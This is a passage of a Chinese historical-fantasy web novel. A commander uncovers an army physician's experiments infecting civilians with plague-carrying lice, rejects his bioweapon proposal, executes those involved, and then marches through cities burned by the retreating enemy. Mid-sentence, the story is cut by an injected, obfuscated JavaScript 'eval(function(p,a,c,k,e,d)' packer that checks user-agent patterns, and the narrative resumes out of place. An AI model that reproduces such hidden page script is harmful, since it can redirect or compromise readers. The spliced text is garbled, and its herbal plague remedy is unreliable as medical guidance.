军医道:“属下这些天一直钻研疫病——”原来他发现虽然第一个发病的樾军士兵系被老鼠咬伤,但是其他病人并不曾有此遭遇。端木槿虽猜出和老鼠身上寄生的虫豸有关,但是为了尽快救治病患且防止疫病进一步蔓延,她只是把老鼠消灭了事。军医却仔细研究四处奔逃的老鼠,从被药死的老鼠和自然病死的老鼠身上分别搜集虱子,终于发现只有那些已经病死的老鼠身上的虱子才会传播疫病。“属下想,”他道,“是老鼠先有病,虱子吸了病鼠是血也就染了病。它们再咬人,才把疫病传到人身。” 玉旒云皱着眉头,看来还是有些不信。 军医道:“大人,这是千真万确的,属下亲自试验过,凡是被这病虱咬了的人,都被送到病区了……” “什么?”这次玉旒云拍案而起,“你——你拿人做实验?” 军医没注意她的语气,还兀自得意道:“若不试试,怎么能发现呢?大人放心,那些实验之人进了病区都有我军士兵看管。他们有的病死了,有些被端木姑娘的药方救回,但是属下已让人将他们灭口,决不会泄露出来……” 玉旒云的剑已经架到了他的脖子上:“全军上下都在此救人,你却放虱子咬人?你把我的命令当成什么?” “大人,我……”军医吓得一抖,手中的瓷罐就朝地上摔去,幸亏玉旒云动作迅速,剑身一沉一挑,将罐抛到了自己手中,剑锋又逼回了军医的颈边。“大人……”军医扑通跪下了,“属下一片忠心,决无害人之意。属下也验证了端木姑娘的药方,用螺靥菜、龙胆草、白茅根——此三味为君,其余随其地之所有,如金银花、土茯苓、淡竹叶、坡菊、白莲叶、马齿苋之类,用大瓦锅熬水,未病者服之可清其源,不惧病虱——这岂不好像有一种厉害的毒药,而我军已知其解药,战时用来对付敌军,可兵不血刃就取得胜利?而胜利之后,其地之病人,无论是大热大渴还是体表结核,我军也都有对症之药……” “住口!”玉旒云厉声喝道,“你当我是什么人,竟用如此狠毒之计?” 军医愣了愣:“大人,属下……属下并不觉得这有何狠毒。譬如有刀剑,又有金疮药,一切都在掌控之中。而相比硬碰硬地去打,这方法更可保存我军实力,简直可以说是不费吹灰之力……” “混蛋!”玉旒云骂道,“这次乾窑大疫,我花了多少兵力多少时间在此?你竟说什么‘不费吹灰之力’?你本是大夫,岂不知病症的变化有千万种?到今时今日,还无人找出对付体发黑斑、内脏出血之症的方法。你放这些有疫毒的虱子出去咬人,能担保事后处理干净不使瘟疫蔓延?能保证在疫毒侵入那些无辜之人内脏之前就把他们治好?” “属下虽不能担保,但有八成的把握。”军医道,“而且,要杀灭虱子只需要一把火,相比引水淹没城池,还是容易控制些——洪水之后究竟会发什么瘟疫,这……” 他本是为自己辩解,岂料正说到了玉旒云的痛处——经过这次水淹靖杨之后,有多少人把她看成不择手段的恶魔?郭罡啊郭罡,这一手可真是绝,就算将你碎尸万段,也改变不了人心中的想法。 不过,也是她给了他可乘之机——如果一开始就不赞同那除掉范柏和吕异的计划,如果一开始就将他杀了干净,何至于此? 当时怎么就被他迷惑了?她蹙起眉头,想着当然郭罡和自己的对话—— “大人一直想要灭亡楚国,你在楚国的敌手可会跟你讲道义么?他们彼此之间争斗起来尚且无所不用其极,见到你这个敌人,还不是什么手段都能用上?” 就是这一句话!她紧紧地握着剑,让剑柄上的花纹深深地印到自己的手掌中,就像是蚀骨的仇恨。不,仇恨并不是从外面侵蚀她,而是从心里,她铸着一把利剑,早已经炼成了,剑锋割着她的血肉,她需要一个机会,把它刺向仇人,只有如此,才能结束这种钻心的痛苦。已经太久了,一次一次,总有些什么来阻碍她,为什么总是不能如她所愿? 郭罡那阴阴的笑声仿佛响在自己的耳边,她好像看到他那“一切尽在掌握”的表情。“成大事者不拘小节,”她听到他这样说,“明刀明枪永远敌不过背后的冷箭,若不用非常手段,怎么能出其不意、克敌制胜?” 混帐!她骂道,我岂是这样的人? “怎么不是?”这丑怪的人偏偏有无比平静的声音,好像他说的一切都是真理似的,“大人你本来如何,你自己最清楚——若你本来也无此念头,再怎么顾及石将军的想法,你也不会如此痛苦吧?” 笑话!玉旒云手腕一抖,长剑发出一声龙吟,我如何痛苦?我就是要让你看看,不用你的那些龌龊计策,一样能拿下郑国,将来也一样能拿下楚国! 幻像中的郭罡笑了起来:“我的计策如何龌龊?我给大人送来乔日新,只要大人收服了他,就等于收服了整个郑国。” 说的倒容易!玉旒云哼了一声。 “不见棺材不掉泪。”郭罡的声音响在她的脑海,“现在乔日新已经到了棺材边上,你只要把他装进去,他还能不怕?其实也不用装他,省得落下话柄,就把他孙子装进去就行了!” 什么?玉旒云不解其意,猛地一摇头,才发觉自己做起白日梦来——郭罡便有天大的本事,也不能腾云驾雾从定洲来迷惑自己。待攻下郑国,她暗暗发誓,非取了这老家伙的脑袋不可! 心思乱糟糟争斗这了这许久,其实也不过是一眨眼的功夫——军医还跪在那儿望着她,方才她把剑一抖,已经将人家的帽子削掉了,怎不将人吓得瑟瑟发抖?“大人……小的……小的知道错了……再不敢说这事了……” “那你还不滚?”玉旒云轻轻一偏头。 “是……是……”军医连滚带爬,转眼就跑没了影儿。 “哼!”玉旒云想要还剑归鞘,却突然发现那装着致命病虱的瓷罐还捧在自己的左手上——军医跑得匆忙,不曾将他的东西收拾走。玉旒云心中一阵恶心,差点儿就脱手丢了出去,但这时心念一动:装进棺材?这些要命的虫豸不就可以神不知鬼不觉地将乔日新逼进棺材吗?只要治疗即时,又一定不会闹出什么事情……就这样让乔日新或者他家里的什么人到鬼门关逛一圈,然后再由我拉他们回来…… 此念才起,她立刻狠狠地一甩头:我是中了郭罡的邪么!这种事情想也不可想——吕异的死,靖杨的洪水,使我和梦泉生了多大的嫌隙,若他再离我而去,世上任何胜利也不足补偿! 然而心中的邪念还不肯就此熄灭:既然能做得神不知鬼不觉,只要不告诉梦泉…… 我在想些什么!她在自己的太阳穴上捶了一拳:梦泉说他信我,我岂能骗他?这些害人的毒物,趁早销毁了干净! 想着,她将瓷罐放回木箱里,又将木箱关好,准备拿出去烧掉。但就在这个时候,门口响起了石梦泉的声音:“大人,我可以进来么?” 玉旒云一惊,赶紧将木箱藏在榻下,才敢让石梦泉进门。 “方才看到军医急急忙忙地跑出去,还以为大人有什么事呢!”石梦泉仔细打量着玉旒云。 “我能有什么事?”玉旒云有些心虚地笑了笑,“你找我?” 石梦泉道:“我听说了乔日新罚他媳妇和孙子的事。我想这个人也不是非收服不可。只要他不乱说话,我们软禁着他,外头的人也不知他究竟是何想法。大人或许不该在此人身上花太多功夫——现在乾窑的情况已经稳定了下来,我们应该准备继续东进了——千万不要中了郭罡的诡计。” 郭罡的诡计?玉旒云虽看不出乔日新这件事上郭罡有何阴谋,不过石梦泉的话正说到她心里去了——不错,她偏偏不要被郭罡牵着鼻子走。当下拊掌道:“说得对极了!立刻叫罗满招卢进他们都来,好好准备拔营进军之事。” 离开乾窑的日期定在十天之后,估计那时病区中所有的病人都应该痊愈归家了,玉旒云也算守住了她对端木槿的诺言。不过,因为在此地耽搁已久,消耗过大,樾军也许无法一气攻入江阳,而富安遥远,靖杨又是一座空城,故此决定以乾窑城作为后方补给中心,留罗满负责一应后勤事务——这当然也有为他日后出任总兵所作的打算,只是玉旒云没有明讲。至于东进的前途如何,为了早做应对,石梦泉建议侦察兵次日就先出发去探明洪水的破坏和敌人的情况,而且不同于以往只打探离自己最近的一个城池,他以为应该对洪泛区的其余几个城镇做一次性整体查探,是需要抗疫,还是需要进行坚苦卓绝的攻城战,自然要提前做不同的部署,以防措手不及。玉旒云采纳了他的建议,把这任务交给了卢进,又吩咐各营迅速整顿,并征调乾窑百姓余粮,以为军用。 军官们议论到了黄昏时分才散。一出门口,就见到端木槿面色凝重地站着,罗满赶忙问她何事。“又有人发病了。”她一语把众人都炸上了天,跟着又将大家摔回地上——玉旒云摔得尤其重:“是乔老前辈的孙子。” “什么?”玉旒云差点儿没想拽住端木槿问个究竟,“他……怎么会病的?” “我不知道。”端木槿有些狐疑地看着她,“一个小孩子又饿又累,身体当然就比大人差些。我们这些人终日是病区进进出出,对疫病已经有抵抗了也未可知,或许就是我们把疫毒带到外面传给那孩子吧。” “现在如何了?”罗满问。 端木槿道:“孩子和他娘已叫士兵送去病区了。乔家的其他人,我怕有万一,也想找地方看护起来,只是乔老前辈恐怕很难答应——就连那对母子,也是连拖带拽才抬进了城的。差点儿就动上了手。” “这姓乔的简直是茅坑里的石头!”韩夜骂道,“这时候咱们还同他客气什么?好不容易才把疫情控制住了,要被他搅和得又发作了起来,岂不糟糕?我看就把他们全数绑了,押到病区的什么地方隔离看守起来——谁要挣扎的,只管打晕了抬过去就成!”他边说边望了望玉旒云,请示她的意见如何。 玉旒云没有说话——乔家孩子这一病来得突然,虽然遂了她的愿,又在情理之中,但之前和军医的那一番对话,以及自己曾经有过的那个可怕念头叫她不自觉地感到心虚。 石梦泉以为她放不下收服乔日新的事,要下这样的命令有些为难,因此就替她做了主,道:“按你说的办。不过千万不能让乔家人有什么闪失。” 韩夜道:“这个容易!”当即就招呼手下押解乔日新全家去了。 石梦泉又叫罗满亲自和端木槿去病区内准备安置乔家大小——好人的角色还是要这未来的总兵来扮演;至于卢进和慕容齐则按照原计划准备东进之事。待一切都交代好了,他才笑看着玉旒云道:“真是老天相助,也许乔家的孙子这一病,乔日新知道‘死’真正是何滋味,就会放弃和大人对抗呢!” “哦……是么……”玉旒云怔怔地,接着突然道:“我有点累了,你替我看着他们做事,我先回去了。”说完,头也不回,逃似的跑开。 石梦泉看她神色有异,不知她是否旧病复发,急急跟了上去。只见玉旒云走得飞快,又不像是当真身体不舒服的样子。他心下好不奇怪。待来到了玉旒云所住的跨院跟前,他心中就隐隐升起了一丝不祥的预感:她莫非有什么事瞒着我么? 他稍停了停,不要士兵通报,直接走到了玉旒云的房里。并不见一个人影,只听到后院有悉唆的响声。即抢步走到门口一看,见玉旒云一手拎着只大木箱,另一手提着灯油缸子——她是要烧什么?什么不可让他见到的东西?石梦泉感到胸口仿佛被人捶了一拳:是要问清楚?也许装糊涂更好?几个念头才转上心间,他已经喊出了声:“大人!你做什么?” 玉旒云一惊,木箱摔到了地上。机括撞开,铁笼子和龇牙咧嘴的老鼠最先暴露在黄昏深红色的天光下。玉旒云呆住了。石梦泉惊诧不已,紧走上几步:“这是什么?” “这……”玉旒云不待解释,石梦泉又伸手去拿那装满病虱的瓷罐。不意瓷罐其实已经震裂了,全因封口处牛皮捆扎外没有立刻化为碎片。石梦泉这一抓,裂缝处断开,碎瓷也插进他的手掌里。玉旒云“啊”地惊呼一声,夺过他的手来,跟着将整一缸灯油迅速地浇在破瓷罐之上。 “怎么了?”石梦泉问。 可玉旒云不答,擦亮火折子,烈焰立刻腾了起来,虱燃烧的噼啪声很快被老鼠垂死的尖叫淹没。“你的手怎么样?有没有被咬着?” 石梦泉手上的伤口不浅,鲜血淋漓,哪里能看出虱子微小的咬痕?不过他已经约略猜出了事情的隐情:“这是致病的毒鼠?罐子里又是什么?这是你养的?” 而玉旒云只是抓着他的手不放:“有没有咬着?不行,你立刻跟我去见端木槿,先抓几副药吃了——” “你放开!”石梦泉从没有感觉心中这样疼痛,就算是靖杨城中玉旒云晕倒在自己的面前他也不曾有这样的感觉。他发狠甩开了玉旒云,死死地盯着她,近乎咆哮道:“到底是不是你养的?” “不是。”玉旒云坚决地否认,“你听我说……” “不是?”石梦泉觉得有利刃在胸中绞割,将五脏六腑全都斩碎。他笑了起来:“不是?你一向都不怕承认,为什么现在不敢认了?乔日新的孙子好好儿的就病了——他一病,你就神神秘秘地来烧这些毒物——你为什么不承认?究竟还有多少事你做了却不承认?”——也许靖杨被淹就是她下的命令,只是她后来否认了——他是这样的信他!经历了这一切,他愿意信她,可是现在……他感觉自己失去了力气,只想一头倒下,再不管任何事。 “不是我……”玉旒云讷讷。燃烧物发出刺鼻的臭味,渐渐熄灭。“他们都可以不信我,你不能。” 当日在河堤上,她说出这句话,他后悔不已,而今天她又说出这句话,他已经痛得麻木了。 “大人,你不用再多说了……” “不,我要说!”玉旒云对着外面呼道,“还不叫军医来!” “不用麻烦了。”石梦泉苦笑着,“大人花了这么大心思豢养这些毒物,就是属下的身上试试,如果能立刻毙命,正是大人的成绩。” 听他这样说,玉旒云又气又急,简直不知道要怎么解释才好。“混蛋!”她终于甩手一个耳光打了过去,跟着抽出剑,手握着剑刃一抽,鲜血立刻就流了出来。她用自己的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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军医在军队中可谓自成一体,他们没有军阶,俸禄也是由吏部而非兵部支出的。他们也很少和士兵或军官打成一片,只和自己的学生及副手组成一个小圈子。这小药童显然知道玉旒云此来是为了何事,吓得不敢说半句假话,爬在地上碰头不止:“将军饶命,这都是师父的命令,小人不敢违抗。” “哼!”玉旒云怒道,“你师父敢自作主张,把我的话都当耳旁风,偏偏把你们这些小子都教得俯首帖耳。如此下去,这军队里到底是我说了算还是谁说了算?”那药童连整话也说不出一句了,只是磕头如捣蒜。玉旒云大步走到跟前,一脚将半掩的房门踢开:“那些老鼠虱子都在哪里?还不给我搬出来!” 她话音落下,看到昏暗的屋里有几个人影闪过,才知还有好几个药童和医士也在里面,有的捧着药箱,有的拿着药臼,已经吓得面如土色。玉旒云冷笑道:“好哇,全城的郎中都在病区里救人,你们几个倒躲在这里钻研些害人的勾当!” 那些人“扑通扑通”全都跪下了:“将军饶命!我等和师父研究疫毒也是为了知道其致病机理,好对症下药。” “说的倒是好听!”玉旒云扫视这屋子,正对面的墙上有一排木架,上面摆满了铁笼子,内中不消说都饲养着老鼠;而下面又有一些木格子,里面都是瓷缸,正是饲养虱子之处。“你们用这些毒物来咬人,看看人会不会死——”她目光如剑,割过每一个人的脸,“这也叫寻找致病机理,好对症下药么?” 什么?石梦泉一直像个木偶似的,这时猛地一惊。 “说话!”玉旒云厉声喝道,“不出声就能撇清干系了么?这事谁有份?你们害死了多少人,我要你们一一偿命!” “我们是害死了人没错,”有一个年轻的医士壮着胆子道,“但是我们也发现了是老鼠身上的虱子让人染瘟疫而不是老鼠……” “又如何?”玉旒云打断,“以后你们就可以把这些虱子豢养起来,遇到仇家就丢出去咬人?我这里是军队,里面都是军人,不是屠夫,也不是巫婆神棍,用不上这些下三滥的手段!” 医士被她斥得声音低得像蚊子哼哼:“只是说说而已吧……” “你说什么?”玉旒云逼视着他,突然心中一动:是了,城中士兵往来巡逻,神弩营又加强灭鼠,豢养这许多老鼠又拿人来做实验不可能军中无人知道。“是谁?哪个营里的?什么人的手下?谁和你们勾结?” 医士和药童们见这光景,知道军医这次马屁拍到了马腿上,玉旒云一定不会轻饶他们,为今之计拉军方的人拉下水,或许还能有一线生机。于是纷纷招供:原来军医不服玉旒云将主持抗疫的大权交给了端木槿,一心要做出点成绩来,就秘密和神弩营负责消毒灭鼠的一位十夫长商议让他把抓到了老鼠拿来给自己研究,后来又在这位十夫长的帮助下以“疑似瘟疫”为名抓了一批百姓来做实验。 玉旒云已经不需要再继续听下去了:“叫韩夜来,他手下竟出了这种败类。让他来整顿,凡参与其中的,统统斩首!” 听了这话,医士和药童都吓傻了,哭喊求饶之声响成一片。玉旒云却毫不理会,径自吩咐人将老鼠笼和虱罐搬倒门外来点火销毁。 士兵们怕鼠毛或者灰尘都能传染疫病,一时找不到许多火油,因将随便周围能抓来的可燃之物统统丢在鼠笼一处——其中不乏被单、干草、木柴等,小山似的一堆,一点着,不时就火光冲天,仿佛是天幕燃烧起来一般,引得附近的百姓、士兵都来观看,连病区里的人也纷纷走到边缘岗哨处瞧个究竟。 而又在这时,步军营的士兵匆匆来到,押着五花大绑的军医,原来他以采药为名出城,守门士兵一接到命令就立刻骑马追捕,将他抓了回来。玉旒云吩咐将他押到火堆旁边,又等韩夜来追查参与豢养老鼠的神弩营士兵。韩夜当初主张消灭病源,不想自己的部下竟培育携带疫毒的虱子,他怎不暴跳如雷,火急火燎地赶了来就向众医士们问了与事士兵的姓名。不过半个时辰的功夫,这些人也都被绑到了玉旒云跟前,那时大火还没熄灭呢。 熊熊的烈焰照着玉旒云的脸显出奇特的光影。“就是这些个人?”她一边默默数着数一边问韩夜,“三十个,可真不少哇——光这一桩事上就有三十个自作主张的,别的事都加起来,还不晓得有多少。别是你的部下全都反了你还不知道?” 韩夜也觉得脸上无光:“是属下失察,管教不严,请大人责罚。” 边上围观的百姓众多,以为这不过是一句场面话,也许玉旒云只呵斥他几句就算了。不想年轻的军官冷冷道:“不错,你的确失察,我会让兵部停你一年俸禄,你可服?” 韩夜单膝跪下:“属下心服口服,今后绝不再犯。” 玉旒云并不看他,转向那三十个神弩营的士兵:“至于你们,违反军令,擅作主张,按律当斩。” 此话一出,三十个士兵都愣了。他们知道这此必被重罚,但怎么也没想到会丢了性命。正要哀声求饶,却听玉旒云接着冷冰冰说道:“你们因罪被杀,不属阵亡,你们的家属将不会得到朝廷的抚恤——来人,斩!” 旁边这时正站着巡逻的十夫长,也不知玉旒云是不是叫自己,怔了怔,不见有他人应,只得抽刀上前,他的部下也就跟着。一眨眼的工夫,三十名犯错的神弩营士兵就身首异处。周围看热闹的百姓皆瞪着眼张着嘴,不知该作个感想。 玉旒云却连眉头也不曾皱一下,转向了军医和他手下的医士、药童:“你们身为大夫,本该救死扶伤,却拿好好的人来试毒试药。此等草菅人命的行为天理难容。来人——斩!” 话音落下,围观的人中不免爆发出一阵惊愕之声:大家对活人实验之事不甚了解,都是已讹传讹。一个月以来,共同与病魔斗争,百姓对大夫颇有好感,看到斩了犯过士兵只是有些动容,但看到要杀大夫,都于心不忍。而这些待宰之人也都乘机求饶。军医道:“我等虽然以人试毒试药,不过终究是寻出了致病的机理,即使功不抵过,也求大人能网开一面,给我等一个将功补过的机会。” “网开一面?”玉旒云厉声道,“你害人的时候怎么没想到要对那些无辜的百姓网开一面的?你根本就视人命如无物,今日放了你,他日你‘将功补过’时还不知要再害多少条性命!还愣着做什么?斩!” 石梦泉看着玉旒云盛怒之下反而显得毫无表情的脸——不知何时,她已经松开了自己的手。伤口的血凝固了,稍稍一握,盐涩的疼痛。“大人,”他走到玉旒云的身边,“此去江阳还有很长的路程,也不知有多少场硬仗要打,又或者更有疫情在前头。现在斩了这些人,军中岂不连一个可以治病的人都没有?还请大人留着他们的性命,给他们一个悔过的机会。” 玉旒云扭头看了他一眼,冷冷道:“不行。若他们以为我离了他们就不行,日后还不得怎样无法无天。即刻斩!” “大人……”石梦泉生怕她是一时意气,将来无法补救,还想出言相劝,然而玉旒云一抬手,示意他不要再说下去,同时向持刀的十夫长再次发出了动手的命令。 十夫长也以为石梦泉的话颇有道理,呆呆地站着,想看看事情还有没有转机。而这时候,只见寒光一闪,玉旒云的剑已经从他的面前挥过,无声无息间,军医的人头已经落了地。其他的士兵一看,果然没有转圜的余地了,也纷纷手起刀落,刹那,医士药童都倒地毙命。原本小声议论着的乾窑百姓再次噤若寒蝉,现场除了火堆的噼啪之外再无声音。 玉旒云目光如炬地环视四周,卢进、慕容齐不知何时也来了,看那样子,大约方才也想要劝阻,只是不敢出口。玉旒云静静地一字一字道:“我素来行军的规矩就是不可扰民,更不可杀民,是不是许久没拿出来强调,大家就忘了?你们都回去,跟部下再传达一次,今后军中有谁敢擅做主张,就和他们一个下场。” “是。”卢进和慕容齐不敢怠慢,齐声答应,跪在一边的韩夜也领了命。 这时玉旒云又看到罗满和端木槿,便走过去问道:“乔家人的情况如何?” “除了小孩子以外没有发病的人。”端木槿回答,“所幸发现得早,十来天应该可以恢复了。” 玉旒云点了点头:“有没有发现疫情为何又复发?” 端木槿道:“那孩子迷迷糊糊的,说是饿极了,看到城里推出泔水车来就悄悄跟着想去捡东西吃,后来就不知道了。我已叫人看过,城外倒泔水的地方附近有不少死鼠,我已经叫人深埋了。” “这样看来光消灭城里的老鼠还不够。”玉旒云道,“待这里的情况稳定了,要发动百姓全面灭鼠方能永绝后患。” 端木槿道:“正该如此。不过反正现在也无人出城,等等不妨。” 玉旒云点头赞同,又对罗满道:“刚才的事你也看到了。我留你在后方镇守,除了确保后勤之外,也要保一方的安宁。我不希望百姓中传出我军纪不明的谣言来。” “是。”罗满顿首答应——他已经很久没见到玉旒云生这么大的气了,暗想这次军医等人行事也实在过分,可谓咎由自取,自己明知道石梦泉忙着照顾玉旒云却没有照看好全局,实在也难辞其咎,以后留守在此一定要打起十二分的精神,整顿军纪,决不让类似的事情再发生。 他如此下着决心,却其实并不知道,玉旒云的反应这般大,除了事情本身的严重性之外,还因着石梦泉对自己的误会。 而石梦泉听了端木槿的一番话后,意识到自己全然错怪了玉旒云,后悔不已。“端木姑娘,”他道,“方才玉大人和我都接触了毒物,我们手上都有伤口,恐怕感染,能不能请你看一看?” 端木槿瞥了一眼他们的手:“好。我听说在这里抄出许多老鼠和虱子来,凡是参加搜查的兵士也应该检查一下。为了保险起见,请大家都跟我到病区来吧。” “大人?”石梦泉望着玉旒云,不知她是否还生自己的气。 玉旒云抬眼迎上他的目光,刹那间,他好像听到她说:你知道么,昨天你在乔日新面前为我辩解,我多么欢喜,然而今天你又疑我至斯!将来呢? 将来决不再如此!石梦泉恨不得能将心剖开给她看。 玉旒云微微地笑了一下,带着些倦容——心比身体更加疲惫,不过,一旦放下了忧虑,就可以安然休息了。“大家听到端木姑娘的话了——我们都到病区去吧。”说着,拍了拍石梦泉的胳膊,同他一起率先朝病区走去。 65. 第 65 章 一场“养鼠为患”的风波平息了下去,玉旒云、石梦泉和众位参与搜查的士兵都非常幸运,无一人染上疫病,看来之前日日服用的汤药的确有非凡的预防作用。这之外,还有意想不到的收获——就在端木槿为玉、石二人处理伤口并把脉的时候,士兵报说乔百恒求见。原来他差点儿失去儿子,认识到再和父亲一起固执下去根本没有任何的意义,于是前来向玉旒云投诚。玉旒云看来,他“大彻大悟”的成分少些,应该是听到自己方才大开杀戒,所以害怕了。她对这人没有任何好感。不过,乔百恒表示虽然还不是乔家的当家,但是水利技术已深得父亲的真传,愿意立刻前往上游的靖杨和富安治水。玉旒云暗想,派人死死看住他,又有他妻儿为人质,谅他也玩不出什么花样来;况且,乔家只要有一个人归顺,这堡垒就已经被挖出了一个洞,攻陷是迟早的事。因此,她答应了乔百恒的请求,并承诺将来可以让他做太守,统领富安等地。待他走后,就传话给罗满,吩咐安排返回上游治水之事,同时要寻找适当的机会,放出乔家归顺樾国的消息。罗满自然领命不提。 另一个意外的收获在十天后才得到——侦察兵回来禀报,前方归平和黎茳似乎都受到了洪水的影响,但是看来破坏并不大,也没有发现瘟疫爆发的迹象,两地只有少量郑军守卫,应该不难拿下,樾军于是按照计划离开乾窑继续东进。正要出发之际,端木槿来到了玉旒云的面前。她挎着药箱,又背着一个小小的包袱,看来是要出远门的样子。玉旒云便问道:“怎么,端木姑娘不留在乾窑再观察几日疫情么?” 端木槿道:“这里的大夫已经熟知治疗疫病的方法,他们会继续协助罗副将到四围的村庄去,传授抗疫心得。” “哦,”玉旒云道,“那么姑娘要到哪里去?” “我要跟你走。”端木槿淡淡的。 “跟我走?”玉旒云愕了愕,笑道,“如果姑娘是想去见林枢,应该自己去西京找他。我恐怕还得有一段日子才回去呢。” 端木槿面上微微一红:“我不是要去找他。我是要跟在你的军中。” “跟在我军中?”玉旒云不解。 端木槿道:“你已经把你军中所有的大夫都砍了头,如果打起仗来,谁来医治伤兵?况且归平和黎茳之外是否有城镇爆发疫病也未可知,我跟在军中,你们总不会束手无策。” 玉旒云不禁大喜过望:“有端木姑娘相助,果然省了许多的麻烦。姑娘做我的军医,品级俸禄都和他人一样。我樾国没有楚国那些古怪的规矩,宫中女官也是有的。将来姑娘可以和林枢一处共事了。” “我不要你们的官衔和俸禄。”端木槿冷冷道,“我只不过是担心别处的百姓,还有……你好歹也救了乾窑一城人,我只替他们报这个恩。待你找到新的军医,我决不多留片刻。而林大哥……我的确是要见见他,有很多话想问他。” 玉旒云才懒得计较她的理由,这样一个医术高超的大夫,能留在身边效力一时就一时。因道:“姑娘说怎样就怎样。” 于是,端木槿挑选了几名在乾窑病区工作时表现出色的士兵,重新组成了一支医疗队伍,跟着玉旒云的部队一起踏上了东进的征途。 虽然侦察兵说归平和黎茳没有重兵把守,但是樾军并不敢大意,依然在归平城外数里有隐蔽处停下,再探虚实。这次是卢进打前锋,从望远镜里看了看,只见归平城中到处升起浓烟,城门洞开,城楼上的景物虽然因为烟雾而显得模糊,却可以肯定没有半个士兵的踪影。心里不由犯了嘀咕:难不成侦察兵查探过之后这里遭了大变?他因派士兵速去一探,回报的消息叫众人大吃一惊:归平已经成为一片废墟,大约是火灾所致。 郑国莫非是流年不利?洪灾、瘟疫,现在又有火灾将整个城市毁于一旦?惟恐其中有诈,卢进派了一支百人的精锐队伍再次深入归平。回报的消息还是一样:归平城中几乎每一座房屋都被烧毁,而且城外近郊的村庄也被殃及,房舍、仓库、牲口圈,无一幸免。 是什么样的火竟然烧得如此厉害?健锐营的将士们都百思不得其解。卢进以为不能再犹豫了,下令全营立刻开入城中,以地毯式一尺一尺向前推进,从东向西逐间屋子搜查占领,又请慕容齐步军营作为接应,以防郑军在城中有埋伏。 两营士兵都小心翼翼,做好了发生巷战的准备。不想整个占领过程异常顺利。大约用了一整天的时间,樾军已经搜遍了归平全城,的确不见半个敌人,只找到了百来个又病又饿的平民——其中的老弱妇孺见到了樾军,都吓得哭号求饶,个别还有力气的男子则是不顾一切地扑上来抢士兵的干粮袋。卢进知道玉旒云对占领区一向是以安抚为上,于是叫士兵善待这百来名郑国难民,又集中了一批军粮给他们充饥。百姓们先是难以置信,但很快就忙着狼吞虎咽,有几个都被噎住了喘不过气来,幸亏樾军士兵及时给他们递过水去,才没使他们由饿死鬼变成噎死鬼。 待百姓们填饱了肚子,卢进就问他们大火因何而起。众人无不怨恨咒骂——原来是守城的郑军得知樾军离开乾窑向东开进,料想非其敌手,就索性将城烧毁,自己逃之夭夭,不顾百姓的死活。卢进等将士听了也不禁愤然:此等行径还算是军人的所为么?倘若在战场上与樾军遭遇,肯定不堪一击——也难怪他们望风而逃了。 无论怎样,省了一场战斗。卢进和慕容齐遣人传回消息,又迎了玉旒云、石梦泉和神弩营官兵进城来,归平便算是轻松拿下。玉旒云见难民们衣不蔽体,食不果腹,几乎无片瓦遮头,就再次从军粮中拨出一部分做赈济之用,且叫士兵修缮了几处破坏不十分严重的房屋给他们暂时居住——因众人言道还有不少归平居民逃难到北方去了,为了预备这些人回归家园,樾军留下了足够五百人支持一个月的口粮。前后大概耽误了三天时间,这才继续向东进发。 归平以东的农田村舍也有被火烧过的迹象,田间地头有不少病饿而死的尸骨,偶尔看到一家人奄奄一息地相互扶持着挖草根充饥,其情状实在惨不忍睹。樾军士兵无不痛斥郑军可恶,有的不待军官命令,就主动将自己的食物分给饥民。如此行军至黎茳城时,随军运输的粮食倒有近一半分发给了灾民,玉旒云不得不传信给罗满,让他设法联络富安附近的州县,调集粮草。 到了黎茳城外的时候,众人开始生疑了:起初大家以为郊县百姓流离失所是因为被归平城的大火波及,可是此刻远眺黎茳城,亦是一片尘灰烟火之色。卢进率领部下再次打前锋,进到城中一看,和归平情形相同,城池已经被烧成了一片废墟。他找到几个满面病容的难民,一问,守城的郑军和归平一样,点火烧了城,已经撤往北方。 郑军就这样拱手把国土让给敌人?樾军官兵满腹疑问。玉旒云先也是有些奇怪,不过当她踏入满目创痍的黎茳城,见到挤在路边等待救济的难民,她忽然明白了过来:这并不是巧合,也不是郑军怯懦,而是他们焦土战术。为的就是要让樾军在沿途不仅补充不到给养,还要将粮食消耗殆尽!如此一来,郑军就可以将南线进攻的樾军困死在征途中,自己却集中兵力到北线和刘子飞作战。 真是可恶!她握紧了拳头——一个瘦得像芦柴棒一般的少女正怯生生地挨近她的坐骑,仿佛是要企求她的怜悯,又似乎纯是出于对这样一个俊美军官的好奇,肮脏的小手犹犹豫豫地向她伸出来。 石梦泉骑马在侧,立刻解下自己的干粮袋抛了过去。“大人……”他显然也猜出了郑军的用意,“再这样下去不是办法,还不知道前面多少城市被郑军烧毁了。我军一路赈济,不等到达江阳,粮食就会用尽的。” 玉旒云望了他一眼。“难不成不顾他们的死活?”她道,“你觉得我会这么做么?” “我不是那个意思……”石梦泉忙道,“只是郑军用这样残忍的阴谋妄图拖垮我军,总不能被他们牵着鼻子走。” “我当然知道。”玉旒云有点后悔说出了那样的话——这些日子以来,两人的关系总是有些说不出的异样——便笑了笑,掩饰过去。她作战的风格往往从大局着眼,如果能以小牺牲换来全面胜利,换在过去她决不会犹豫。可是经过了靖杨的洪水和乾窑的瘟疫,尤其是经过两次和石梦泉的争执,现在她对于任何一个关乎民生的小细节都斤斤计较——就好像是一个孩子,犯了一次错误,以后便要特特做许多补偿,以证明自己并非本性如此,即使矫枉过正,也再所不惜。因此,她虽“当然知道”还是下令:“清点全城难民,分发口粮,修葺房屋。限三天之内办妥,再行东进!” “大人——”石梦泉本想提醒她,这里难民的人数恐怕不下归平,如果按照归平那样发一个月的口粮,恐怕樾军给养支持不到下一个城池。然而看玉旒云皱起眉头,仿佛是说:到底我要如何,你才觉得是正确的?石梦泉生怕说错了什么话又引起不愉快来,因低低嘟囔了一句:“没什么。”自去督促派粮之事了。 神弩营和步军营负责搜索难民修缮房屋,健锐营救负责维持秩序、分发口粮。到了这天夜里时,果然如石梦泉所估计,樾军所剩粮食不够全军维持半个月的。几个负责纪录的士兵最先发现这个危机,不由一筹莫展。 